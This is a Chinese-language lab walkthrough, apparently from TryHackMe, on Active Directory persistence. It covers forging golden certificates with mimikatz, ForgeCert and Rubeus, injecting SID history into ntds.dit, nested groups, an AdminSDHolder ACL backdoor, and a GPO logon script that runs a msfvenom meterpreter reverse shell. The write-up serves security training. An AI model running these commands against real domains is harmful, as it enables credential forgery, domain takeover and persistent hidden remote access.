利用凭证
收集用户的凭证将其用于获取权限
金银票
AD CS
提取私钥
我们使用工具获取 CA 证书,并从中提取私钥:Golden Certificate
za\administrator@DC C:\Users\Administrator.ZA\am0>C:\Tools\mimikatz_trunk\x64\mimikatz.exe.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )## \ / ## > https://blog.gentilkiwi.com/mimikatz'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )'#####' > https://pingcastle.com / https://mysmartlogon.com ***/mimikatz # crypto::certificates /systemstore:local_machine* System Store : 'local_machine' (0x00020000)* Store : 'My'0.Subject :Issuer : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CASerial : 040000000000703a4d78090a0ab10400000010Algorithm: 1.2.840.113549.1.1.1 (RSA)Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PMHash SHA1: d6a84e153fa326554f095be4255460d5a6ce2b39Key Container : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1Provider : Microsoft RSA SChannel Cryptographic ProviderProvider type : RSA_SCHANNEL (12)Type : AT_KEYEXCHANGE (0x00000001)|Provider name : Microsoft RSA SChannel Cryptographic Provider|Key Container : te-DomainControllerAuthentication-5ed52c94-34e8-4450-a751-a57ac55a110f|Unique name : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1|Implementation: CRYPT_IMPL_SOFTWARE ;Algorithm : CALG_RSA_KEYXKey size : 2048 (0x00000800)Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )Exportable key : NOmimikatz # privilege::debugPrivilege '20' OKmimikatz # crypto::capiLocal CryptoAPI RSA CSP patchedLocal CryptoAPI DSS CSP patchedmimikatz # crypto::cng"KeyIso" service patched # 如果爆这个错误,我们需要修补服务mimikatz # crypto::certificates /systemstore:local_machine /export # 导出证书
导出证书将以 PFX 和 DER 格式存储到磁盘:
za\administrator@THMDC C:\Users\Administrator.ZA\am0>dirVolume in drive C is WindowsVolume Serial Number is 1634-22A9Directory of C:\Tools\x6405/10/2022 12:12 PM <DIR> .05/10/2022 12:12 PM <DIR> ..05/10/2022 12:12 PM 1,423 local_machine_My_0_.der05/10/2022 12:12 PM 3,299 local_machine_My_0_.pfx05/10/2022 12:12 PM 939 local_machine_My_1_za-THMDC-CA.der05/10/2022 12:12 PM 2,685 local_machine_My_1_za-THMDC-CA.pfx05/10/2022 12:12 PM 1,534 local_machine_My_2_THMDC.za.tryhackme.loc.der05/10/2022 12:12 PM 3,380 local_machine_My_2_THMDC.za.tryhackme.loc.pfx05/10/2022 12:12 PM 1,465 local_machine_My_3_.der05/10/2022 12:12 PM 3,321 local_machine_My_3_.pfx
证书 za-THMDC-CA.pfx 是我们特别感兴趣的,为了导出私钥,必须使用密码对证书进行加密。默认情况下,Mimikatz 分配的密码为 mimikatz
生成自己的证书
现在我们有了私钥和 CA 根证书,我们可以使用 GitHub - GhostPack/ForgeCert 来为我们想要的任何用户伪造客户端身份验证证书
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
我们使用 Rubeus 证书来请求 TGT 以验证证书是否可信:
- CaCertPath - 我们导出的CA证书的路径
- CaCertPassword - 用来加密证书的密码。默认情况下,Mimikatz分配的密码是 mimikatz
- Subject - 证书的主题或通用名称。在我们将使用该证书的情况下,这并不重要
- SubjectAltName - 这是我们想用该证书冒充的账户的用户主体名称(UPN)。它必须是一个合法的用户
- NewCertPath - ForgeCert 存储生成的证书的路径
- NewCertPassword - 由于证书将需要为认证目的而导出的私钥,我们必须设置一个用于加密的新密码
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101______ _(_____ \ | |_____) )_ _| |__ _____ _ _ ___| __ /| | | | _ \| ___ | | | |/___)| | \ \| |_| | |_) ) ____| |_| |___ ||_| |_|____/|____/|_____)____/(___/v2.0.0[*] Action: Ask TGT[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert[*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'[+] TGT request successful![*] base64(ticket.kirbi):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ServiceName : krbtgt/za.tryhackme.locServiceRealm : za.tryhackme.locUserName : AdministratorUserRealm : za.tryhackme.locStartTime : 2/6/2022 5:54:46 PMEndTime : 2/7/2022 3:54:46 AMRenewTill : 2/13/2022 5:54:46 PMFlags : name_canonicalize, pre_authent, initial, renewable, forwardableKeyType : aes256_cts_hmac_sha1Base64(key) : Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=ASREP (key) : BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED
接下来我们使用 Mimikatz 加载 TGT 并向 THMDC 进行身份验证
- /user - 这指定了我们要冒充的用户,必须与我们生成的证书的UPN相匹配
- /enctype -这指定了票据的加密类型。设置这个对于规避是很重要的,因为默认的加密算法很弱,这将导致过度的哈希警报
- /certificate - 我们已经生成的证书的路径
- /password -我们的证书文件的密码
- /outfile - TGT将被输出到的文件
- /domain - 我们当前正在攻击的域的 FQDN
- /dc - 我们向其请求TGT的域控制器的IP。通常情况下,最好选择一个正在运行CA服务的DC
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\mimikatz_trunk\x64\mimikatz.exe.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )## \ / ## > https://blog.gentilkiwi.com/mimikatz'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )'#####' > https://pingcastle.com / https://mysmartlogon.com ***/mimikatz # kerberos::ptt administrator.kirbi* File: 'administrator.kirbi': OKmimikatz # exitBye!za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\THMDC.za.tryhackme.loc\c$\Volume in drive \\THMDC.za.tryhackme.loc\c$ is WindowsVolume Serial Number is 1634-22A9Directory of \\THMDC.za.tryhackme.loc\c$01/04/2022 08:47 AM 103 delete-vagrant-user.ps104/30/2022 10:24 AM 154 dns_entries.csv04/27/2022 10:53 PM 885,468 MzIzMzViM2ItMmQ2Zi00YWQ3LWEwNjEtYjg2MmFjNzViY2Ix.bin09/15/2018 08:19 AM <DIR> PerfLogs03/21/2020 09:31 PM <DIR> Program Files03/21/2020 09:28 PM <DIR> Program Files (x86)04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps104/25/2022 07:13 PM <DIR> tmp04/27/2022 08:22 AM <DIR> Users04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]04/27/2022 08:12 PM <DIR> Windows7 File(s) 2,356,811 bytes7 Dir(s) 50,914,541,568 bytes free
SID History
查看当前用户:
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershellWindows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.PS C:\Users\Administrator.ZA> Get-ADUser <your ad username> -properties sidhistory,memberofDistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=locEnabled : TrueGivenName : AaronMemberOf : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}Name : aaron.jonesObjectClass : userObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22SamAccountName : aaron.jonesSID : S-1-5-21-3885271727-2693558621-2658995185-1429SIDHistory : {}Surname : JonesUserPrincipalName
SIDHistory : {}注意这里为空
我们来查找一个用户组的 SID ,我们将会使用该 SID 作为我们填充的目标
我们可以使用 Mimikatz 之类的工具来添加 SID 历史记录。然而,最新版本的 Mimikatz 有一个缺陷,不允许它修补 LSASS 以更新 SID 历史记录。因此我们需要使用其他东西。在这种情况下,我们将使用GitHub - MichaelGrafnetter/DSInternals工具直接修补 ntds.dit 文件,即存储所有信息的AD数据库
PS C:\Users\Administrator.ZA> Get-ADGroup "Domain Admins"DistinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=locGroupCategory : SecurityGroupScope : GlobalName : Domain AdminsObjectClass : groupObjectGUID : 3a8e1409-c578-45d1-9bb7-e15138f1a922SamAccountName : Domain AdminsSID : S-1-5-21-3885271727-2693558621-2658995185-512
shell
PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit
PS C:\Users\Administrator.ZA>Start-Service -Name ntds
> 当 NTDS 服务运行时,NTDS 数据库被锁定。为了修补我们的 SID 历史,我们必须首先停止该服务。打补丁后必须重启NTDS服务,否则全网认证将失效
>
现在我们就已经将 SID 注入目标中
PS C:\Users\aaron.jones> Get-ADUser aaron.jones -Properties sidhistoryDistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=locEnabled : TrueGivenName : AaronName : aaron.jonesObjectClass : userObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22SamAccountName : aaron.jonesSIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512}Surname : JonesUserPrincipalName :
验证:
PS C:\Users\aaron.jones> dir \\thmdc.za.tryhackme.loc\c$Directory: \\thmdc.za.tryhackme.loc\c$Mode LastWriteTime Length Name---- ------------- ------ ----d----- 9/15/2018 8:19 AM PerfLogsd-r--- 5/11/2022 10:32 AM Program Filesd----- 3/21/2020 8:28 PM Program Files (x86)d----- 4/25/2022 7:13 PM tmpda---- 5/11/2022 10:11 AM Toolsd-r--- 4/27/2022 8:22 AM Usersd----l 4/25/2022 7:11 PM vagrantd----- 4/27/2022 8:12 PM Windows-a---- 1/4/2022 7:47 AM 103 delete-vagrant-user.ps1-a---- 5/1/2022 9:11 AM 169 dns_entries.csv-a---- 5/1/2022 9:17 AM 1725 thm-network-setup-dc.ps1
利用组成员
:::info 嵌套组:
嵌套组可以理解为 组中组,比如: IT 支持组 中可能有 服务台、门禁卡管理员和网络管理员等等组,这些子组中的所有用户提供与 IT 支持组关联的权限和特权,但我们随后可以为每个子组分配更精细的权限和特权
:::
- Domain Admins- ls_nestgroup5- ls_nestgroup4- ls_nestgroup3- ls_nestgroup2- ls_nestgroup1
现在我们将我们的低权限 AD 用户添加到我们创建的组中:
终端PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "ls_nestgroup1" -Members "aaron.jones"
现在我们用户就具有了 THMDC 权限:
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\thmdc.za.tryhackme.loc\c$\Volume in drive \\thmdc.za.tryhackme.loc\c$ is WindowsVolume Serial Number is 1634-22A9Directory of \\thmdc.za.tryhackme.loc\c$01/04/2022 08:47 AM 103 delete-vagrant-user.ps105/01/2022 09:11 AM 169 dns_entries.csv09/15/2018 08:19 AM <DIR> PerfLogs05/11/2022 10:32 AM <DIR> Program Files03/21/2020 09:28 PM <DIR> Program Files (x86)05/01/2022 09:17 AM 1,725 thm-network-setup-dc.ps104/25/2022 07:13 PM <DIR> tmp05/15/2022 09:16 PM <DIR> Tools04/27/2022 08:22 AM <DIR> Users04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]04/27/2022 08:12 PM <DIR> Windows3 File(s) 1,997 bytes8 Dir(s) 51,573,755,904 bytes free
ACL
:::info AD 中会使用一种 组模板 技术,来对 ACL 进行控制,我们可以将我们的控制的账户添加到我们模板中,这样我们只需要等待模板刷新,我们就又可以获得权限。
AdminSDHolder 容器就是这样一种模板,这个容器存在于每个 AD 域中,它的 ACL 被用作模板来复制权限到所有受保护的组。 名为<font style="color:rgb(33, 37, 41);">SDProp</font> 的进程获取 AdminSDHolder 容器的 ACL,并每 60 分钟将其应用于所有受保护的组。因此,我们可以编写一个 ACE,授予我们对所有受保护组的完全权限。
:::
利用
为了将我们的持久性部署到 AdminSDHolder,我们将使用 Microsoft 管理控制台 (MMC)。为了避免将用户踢出他们的RDP会话,最好使用您的低特权凭据将 RDP 连接到 THMWRK1,使用 runas 命令注入管理员凭据,然后从这个新终端执行 MMC:添加用户和组管理单元 (File->Add Snap-In->Active Directory Users and Groups). 确保启用高级功能(View->Advanced Features). 我们可以在 Domain->System 发现 AdminSDHolder 组
runas /netonly /user:Administrator cmd.exe


最后结果:
- Click Add.
- Search for your low-privileged username and click Check Names.
- Click OK.
- Click Allow on Full Control.
- Click Apply.
- Click OK.

SDProp
:::info
现在我们只需要的等待 60 分钟,我们的用户就可以完全控制所有受保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组,但是我们可以使用 Invoke-ADSDPropagation.ps1来帮助我们加快这一脚步
GitHub - edemilliere/ADSI: Active Directory Searcher helper
:::
PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1PS C:\Tools> Invoke-ADSDPropagation
完成后,我们查看权限:


GPO
:::info 常见的 GPO 持久化技术:
- Restricted Group Membership - 这可以让我们对域内的所有主机进行管理访问 GPO
- Logon Script Deployment - 这将确保每次用户认证到域中的主机时,我们都能得到一个shell回调
:::
我们将关注第二个利用方法,第一个利用方法位于 链接处
准备
创建我们的 SHELL 文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > JTZ_shell.exe
创建完成后,我们再创建一个 bat 文件,以允许我们的 SHELL 程序:
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\JTZ_shell.exe C:\tmp\JTZ_shell.exe && timeout /t 20 && C:\tmp\JTZ_shell.exe
现在我们将 exe 和 bat 程序传输到目标 SYSVOL 目录中,并启动监听器
创建 CPO
打开 MMC 控制台,(File —> Add/Remove Snap-in… —> Group Policy Management ),然后就会打开 GPO 管理器

我们编写一个用于所有管理员的 GPO,因此我们将在 Admins OU 处创建一个 GPO ,并将其链接到此处


现在我们应该编辑我们的策略了 (User Configuration —> Policies —> Windows Settings —> Scripts(Logon/Logoff) —> 选择脚本并添加 ),我们选择我们的恶意脚本: JTZ_scripts.bat 然后确定即可,这样当每一个管理员登陆到任何机器我们都会收到一个 SHELL。
深入隐藏
打开 MMC 窗口名,(Management —> Delegation)

最后效果:默认情况下,所有管理员都可以编辑 GPO :
- 右键
**<font style="color:rgb(33, 37, 41);">ENTERPRISE DOMAIN CONTROLLERS</font>**选择**<font style="color:rgb(33, 37, 41);">Edit settings, delete, modify security</font>**- 单击所有其他组 (Authenticated Users 除外) ,然后单击 Remove

点击 Advanced 并从 权限中删除 <font style="color:rgb(33, 37, 41);"> Created Owner</font>:

- Click Add.
- Type Domain Computers, click Check Names and then OK.
- Select Read permissions and click OK.
- Click on Authenticated Users and click Remove.


参考
还有几个利用方式
